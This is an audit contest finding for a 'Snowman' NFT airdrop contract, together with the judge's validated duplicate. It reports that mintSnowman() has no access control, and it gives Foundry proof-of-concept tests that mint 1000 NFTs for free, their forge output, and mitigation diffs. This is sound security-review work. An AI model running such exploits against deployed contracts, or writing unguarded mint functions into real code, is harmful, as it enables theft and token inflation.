Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

mintSnowman() is external with no access modifier

Root + Impact

Description

  • The Snowman contract is an ERC-721 NFT that is intended to be distributed exclusively through the
    SnowmanAirdrop contract. Recipients must hold Snow tokens, submit a valid Merkle proof, and provide an EIP-712
    signature to receive NFTs proportional to their Snow balance.

  • mintSnowman() is declared external with no access modifier, meaning any account can call it directly to mint an
    arbitrary number of Snowman NFTs to any address, bypassing the airdrop's Merkle proof, signature verification,
    and Snow token staking requirements entirely.

// src/Snowman.sol
contract Snowman is ERC721, Ownable {
// @> No access modifier — anyone can call this
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
// @> _safeMint issues NFTs with zero preconditions
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
}

Risk

Likelihood: High

  • mintSnowman() is a public entry point on a deployed contract — any transaction to this function selector
    succeeds without preconditions, making exploitation trivial the moment the contract is deployed.

  • No economic barrier exists: minting costs only gas, so the attack is profitable from the first transaction
    since there is no fee or token requirement.

Impact:

  • The entire NFT supply can be inflated to an arbitrary number, destroying any scarcity or value associated with
    legitimate airdrop NFTs.

  • Legitimate recipients' NFTs become indistinguishable from freely minted attacker NFTs, permanently undermining
    the airdrop's economic and social value.

Proof of Concept

function test_exploit_mintSnowman_noAccessControl() public {
address attacker = makeAddr("attacker");
// Attacker holds zero Snow tokens and has no Merkle proof
assertEq(snow.balanceOf(attacker), 0);
assertEq(nft.balanceOf(attacker), 0);
// Attacker calls mintSnowman directly — no proof, no tokens, no signature
vm.prank(attacker);
nft.mintSnowman(attacker, 1000);
// 1000 NFTs minted for free
assertEq(nft.balanceOf(attacker), 1000);
}

Recommended Mitigation

Restrict mintSnowman() to the SnowmanAirdrop contract by storing its address at construction and gating the
function behind a modifier:

contract Snowman is ERC721, Ownable {
+ address private s_airdrop;
+
+ error SM__NotAllowed();
+
+ modifier onlyAirdrop() {
+ if (msg.sender != s_airdrop) revert SM__NotAllowed();
+ _;
+ }
- constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ constructor(string memory _SnowmanSvgUri, address _airdrop) ERC721("Snowman Airdrop", "SNOWMAN")
Ownable(msg.sender) {
+ s_airdrop = _airdrop;
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
}
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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